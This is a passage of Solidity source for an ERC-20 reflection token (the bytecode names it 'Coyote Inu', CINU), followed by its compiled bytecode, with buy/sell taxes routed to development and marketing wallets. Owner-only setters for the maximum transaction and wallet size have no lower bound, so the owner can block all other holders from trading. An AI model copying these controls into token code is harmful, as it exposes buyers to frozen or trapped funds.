wallet uint256 public _swapTokensAtAmount = 100000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnSell < 10, "Tax fee cannot be more than 10%"); _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101855760003560e01c806374010ece116100d157806398a5c3151161008a578063c492f04611610064578063c492f04614610533578063dd62ed3e1461055c578063ea1644d514610599578063f2fde38b146105c25761018c565b806398a5c315146104b6578063a9059cbb146104df578063c3c8cd801461051c5761018c565b806374010ece146103ca5780637c519ffb146103f35780637d1db4a51461040a5780638da5cb5b146104355780638f9a55c01461046057806395d89b411461048b5761018c565b8063313ce5671161013e5780636d8aa8f8116101185780636d8aa8f8146103365780636fc3eaec1461035f57806370a0823114610376578063715018a6146103b35761018c565b8063313ce567146102b757806349bd5a5e146102e257806369fe0e2d1461030d5761018c565b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101f957806318160ddd1461022457806323b872dd1461024f5780632fd689e31461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105eb565b6040516101b39190612de6565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612999565b610628565b6040516101f09190612db0565b60405180910390f35b34801561020557600080fd5b5061020e610646565b60405161021b9190612dcb565b60405180910390f35b34801561023057600080fd5b5061023961066c565b6040516102469190612fc8565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190612946565b61067d565b6040516102839190612db0565b60405180910390f35b34801561029857600080fd5b506102a1610756565b6040516102ae9190612fc8565b60405180910390f35b3480156102c357600080fd5b506102cc61075c565b6040516102d9919061303d565b60405180910390f35b3480156102ee57600080fd5b506102f7610765565b6040516103049190612d95565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f9190612a66565b61078b565b005b34801561034257600080fd5b5061035d60048036038101906103589190612a39565b61086d565b005b34801561036b57600080fd5b5061037461091f565b005b34801561038257600080fd5b5061039d600480360381019061039891906128ac565b6109f0565b6040516103aa9190612fc8565b60405180910390f35b3480156103bf57600080fd5b506103c8610a41565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612a66565b610b94565b005b3480156103ff57600080fd5b50610408610c33565b005b34801561041657600080fd5b5061041f610ce4565b60405161042c9190612fc8565b60405180910390f35b34801561044157600080fd5b5061044a610cea565b6040516104579190612d95565b60405180910390f35b34801561046c57600080fd5b50610475610d13565b6040516104829190612fc8565b60405180910390f35b34801561049757600080fd5b506104a0610d19565b6040516104ad9190612de6565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d89190612a66565b610d56565b005b3480156104eb57600080fd5b5061050660048036038101906105019190612999565b610df5565b6040516105139190612db0565b60405180910390f35b34801561052857600080fd5b50610531610e13565b005b34801561053f57600080fd5b5061055a600480360381019061055591906129d9565b610eec565b005b34801561056857600080fd5b50610583600480360381019061057e9190612906565b611026565b6040516105909190612fc8565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb9190612a66565b6110ad565b005b3480156105ce57600080fd5b506105e960048036038101906105e491906128ac565b61114c565b005b60606040518060400160405280600a81526020017f436f796f746520496e7500000000000000000000000000000000000000000000815250905090565b600061063c61063561130e565b8484611316565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b600061068a8484846114e1565b61074b8461069661130e565b610746856040518060600160405280602881526020016137c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc61130e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c839092919063ffffffff16565b611316565b600190509392505050565b60175481565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61079361130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790612f28565b60405180910390fd5b600a8110610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90612e28565b60405180910390fd5b80600b8190555050565b61087561130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990612f28565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661096061130e565b73ffffffffffffffffffffffffffffffffffffffff1614806109d65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109be61130e565b73ffffffffffffffffffffffffffffffffffffffff16145b6109df57600080fd5b60004790506109ed81611ce7565b50565b6000610a3a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de2565b9050919050565b610a4961130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd90612f28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b9c61130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090612f28565b60405180910390fd5b8060158190555050565b610c3b61130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf90612f28565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b60606040518060400160405280600481526020017f43494e5500000000000000000000000000000000000000000000000000000000815250905090565b610d5e61130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290612f28565b60405180910390fd5b8060178190555050565b6000610e09610e0261130e565b84846114e1565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e5461130e565b73ffffffffffffffffffffffffffffffffffffffff161480610eca5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb261130e565b73ffffffffffffffffffffffffffffffffffffffff16145b610ed357600080fd5b6000610ede306109f0565b9050610ee981611e50565b50565b610ef461130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890612f28565b60405180910390fd5b60005b83839050811015611020578160056000868685818110610fa757610fa6613339565b5b9050602002016020810190610fbc91906128ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061101890613292565b915050610f84565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110b561130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612f28565b60405180910390fd5b8060168190555050565b61115461130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d890612f28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124890612ea8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611386576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137d90612fa8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ed90612ec8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d49190612fc8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154890612f68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b890612e08565b60405180910390fd5b60008111611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90612f48565b60405180910390fd5b61160c610cea565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167a575061164a610cea565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119825760148054906101000a900460ff1661170757611699610cea565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd90612e48565b60405180910390fd5b5b60155481111561174c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174390612e88565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146117f957601654816117ae846109f0565b6117b891906130ad565b106117f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ef90612f88565b60405180910390fd5b5b6000611804306109f0565b905060006017548210159050601554821061181f5760155491505b8080156118395750601460159054906101000a900460ff16155b80156118935750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156118ab5750601460169054906101000a900460ff165b80156119015750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119575750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561197f5761196582611e50565b6000479050600081111561197d5761197c47611ce7565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a295750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611adc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611adb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611aea5760009050611c71565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b955750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bad57600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c585750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611c7057600a54600c81905550600b54600d819055505b5b611c7d848484846120d8565b50505050565b6000838311158290611ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc29190612de6565b60405180910390fd5b5060008385611cda919061318e565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3760028461210590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d62573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611db360028461210590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dde573d6000803e3d6000fd5b5050565b6000600654821115611e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2090612e68565b60405180910390fd5b6000611e3361214f565b9050611e48818461210590919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e8857611e87613368565b5b604051908082528060200260200182016040528015611eb65781602001602082028036833780820191505090505b5090503081600081518110611ece57611ecd613339565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7057600080fd5b505afa158015611f84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa891906128d9565b81600181518110611fbc57611fbb613339565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611316565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612087959493929190612fe3565b600060405180830381600087803b1580156120a157600080fd5b505af11580156120b5573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b806120e6576120e561217a565b5b6120f18484846121bd565b806120ff576120fe612388565b5b50505050565b600061214783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061239c565b905092915050565b600080600061215c6123ff565b91509150612173818361210590919063ffffffff16565b9250505090565b6000600c5414801561218e57506000600d54145b15612198576121bb565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806121cf87612461565b95509550955095509550955061222d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230e81612571565b612318848361262e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123759190612fc8565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906123e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123da9190612de6565b60405180910390fd5b50600083856123f29190613103565b9050809150509392505050565b60008060006006549050600068056bc75e2d63100000905061243568056bc75e2d6310000060065461210590919063ffffffff16565b8210156124545760065468056bc75e2d6310000093509350505061245d565b81819350935050505b9091565b600080600080600080600080600061247e8a600c54600d54612668565b925092509250600061248e61214f565b905060008060006124a18e8787876126fe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c83565b905092915050565b600080828461252291906130ad565b905083811015612567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255e90612ee8565b60405180910390fd5b8091505092915050565b600061257b61214f565b90506000612592828461278790919063ffffffff16565b90506125e681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612643826006546124c990919063ffffffff16565b60068190555061265e8160075461251390919063ffffffff16565b6007819055505050565b6000806000806126946064612686888a61278790919063ffffffff16565b61210590919063ffffffff16565b905060006126be60646126b0888b61278790919063ffffffff16565b61210590919063ffffffff16565b905060006126e7826126d9858c6124c990919063ffffffff16565b6124c990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612717858961278790919063ffffffff16565b9050600061272e868961278790919063ffffffff16565b90506000612745878961278790919063ffffffff16565b9050600061276e8261276085876124c990919063ffffffff16565b6124c990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561279a57600090506127fc565b600082846127a89190613134565b90508284826127b79190613103565b146127f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ee90612f08565b60405180910390fd5b809150505b92915050565b6000813590506128118161377b565b92915050565b6000815190506128268161377b565b92915050565b60008083601f8401126128425761284161339c565b5b8235905067ffffffffffffffff81111561285f5761285e613397565b5b60208301915083602082028301111561287b5761287a6133a1565b5b9250929050565b60008135905061289181613792565b92915050565b6000813590506128a6816137a9565b92915050565b6000602082840312156128c2576128c16133ab565b5b60006128d084828501612802565b91505092915050565b6000602082840312156128ef576128ee6133ab565b5b60006128fd84828501612817565b91505092915050565b6000806040838503121561291d5761291c6133ab565b5b600061292b85828601612802565b925050602061293c85828601612802565b9150509250929050565b60008060006060848603121561295f5761295e6133ab565b5b600061296d86828701612802565b935050602061297e86828701612802565b925050604061298f86828701612897565b9150509250925092565b600080604083850312156129b0576129af6133ab565b5b60006129be85828601612802565b92505060206129cf85828601612897565b9150509250929050565b6000806000604084860312156129f2576129f16133ab565b5b600084013567ffffffffffffffff811115612a1057612a0f6133a6565b5b612a1c8682870161282c565b93509350506020612a2f86828701612882565b9150509250925092565b600060208284031215612a4f57612a4e6133ab565b5b6000612a5d84828501612882565b91505092915050565b600060208284031215612a7c57612a7b6133ab565b5b6000612a8a84828501612897565b91505092915050565b6000612a9f8383612aab565b60208301905092915050565b612ab4816131c2565b82525050565b612ac3816131c2565b82525050565b6000612ad482613068565b612ade818561308b565b9350612ae983613058565b8060005b83811015612b1a578151612b018882612a93565b9750612b0c8361307e565b925050600181019050612aed565b5085935050505092915050565b612b30816131d4565b82525050565b612b3f81613217565b82525050565b612b4e81613229565b82525050565b6000612b5f82613073565b612b69818561309c565b9350612b7981856020860161325f565b612b82816133b0565b840191505092915050565b6000612b9a60238361309c565b9150612ba5826133c1565b604082019050919050565b6000612bbd601f8361309c565b9150612bc882613410565b602082019050919050565b6000612be0603f8361309c565b9150612beb82613439565b604082019050919050565b6000612c03602a8361309c565b9150612c0e82613488565b604082019050919050565b6000612c26601c8361309c565b9150612c31826134d7565b602082019050919050565b6000612c4960268361309c565b9150612c5482613500565b604082019050919050565b6000612c6c60228361309c565b9150612c778261354f565b604082019050919050565b6000612c8f601b8361309c565b9150612c9a8261359e565b602082019050919050565b6000612cb260218361309c565b9150612cbd826135c7565b604082019050919050565b6000612cd560208361309c565b9150612ce082613616565b602082019050919050565b6000612cf860298361309c565b9150612d038261363f565b604082019050919050565b6000612d1b60258361309c565b9150612d268261368e565b604082019050919050565b6000612d3e60238361309c565b9150612d49826136dd565b604082019050919050565b6000612d6160248361309c565b9150612d6c8261372c565b604082019050919050565b612d8081613200565b82525050565b612d8f8161320a565b82525050565b6000602082019050612daa6000830184612aba565b92915050565b6000602082019050612dc56000830184612b27565b92915050565b6000602082019050612de06000830184612b36565b92915050565b60006020820190508181036000830152612e008184612b54565b905092915050565b60006020820190508181036000830152612e2181612b8d565b9050919050565b60006020820190508181036000830152612e4181612bb0565b9050919050565b60006020820190508181036000830152612e6181612bd3565b9050919050565b60006020820190508181036000830152612e8181612bf6565b9050919050565b60006020820190508181036000830152612ea181612c19565b9050919050565b60006020820190508181036000830152612ec181612c3c565b9050919050565b60006020820190508181036000830152612ee181612c5f565b9050919050565b60006020820190508181036000830152612f0181612c82565b9050919050565b60006020820190508181036000830152612f2181612ca5565b9050919050565b60006020820190508181036000830152612f4181612cc8565b9050919050565b60006020820190508181036000830152612f6181612ceb565b9050919050565b60006020820190508181036000830152612f8181612d0e565b9050919050565b60006020820190508181036000830152612fa181612d31565b9050919050565b60006020820190508181036000830152612fc181612d54565b9050919050565b6000602082019050612fdd6000830184612d77565b92915050565b600060a082019050612ff86000830188612d77565b6130056020830187612b45565b81810360408301526130178186612ac9565b90506130266060830185612aba565b6130336080830184612d77565b9695505050505050565b60006020820190506130526000830184612d86565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b